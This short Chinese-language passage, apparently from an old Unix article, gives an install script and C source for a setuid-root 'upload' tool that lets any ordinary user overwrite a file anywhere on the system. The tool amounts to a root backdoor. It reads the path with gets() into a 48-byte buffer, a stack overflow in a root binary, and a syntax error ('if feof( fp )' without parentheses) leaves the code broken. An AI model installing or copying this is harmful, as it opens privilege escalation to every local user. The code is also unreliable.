root 状 态 下, 运 行 Install 后,
upload 将 允 许 普 通 用 户 上 载 文 件 至 任 何 目 录 下。
其 中 黑 色 部 分 为 UNIX 系 统 命 令。
# chmod 755 install
#./install
$ more install
#! /bin/csh -f
cc upload.c
cp a.out upload
chown root upload
chmod 755 upload
chmod u+s upload
$ more upload.c
#include <stdio.h>
main()
{
char filename[48];
printf( "This program will upload up.txt ASCII file to specified file\n" );
printf( "XXX Copyright Reserved\n" );
printf( "Where to upload (include path and filename)? " );
gets( filename );
upload( filename );
}
int upload( filename )
char *filename;
{
FILE *fp,*outp;
char c;
fp=fopen( "up.txt","r" );
outp=fopen( filename,"w" );
if( fp== NULL ) {
printf( "file not exist." );
return 0;
}
for( ;; ) {
c= fgetc( fp );
if feof( fp ) break;
printf( "%c",c );
fputc( c, outp );
}
fclose( fp );
fclose( outp );
return 1;
}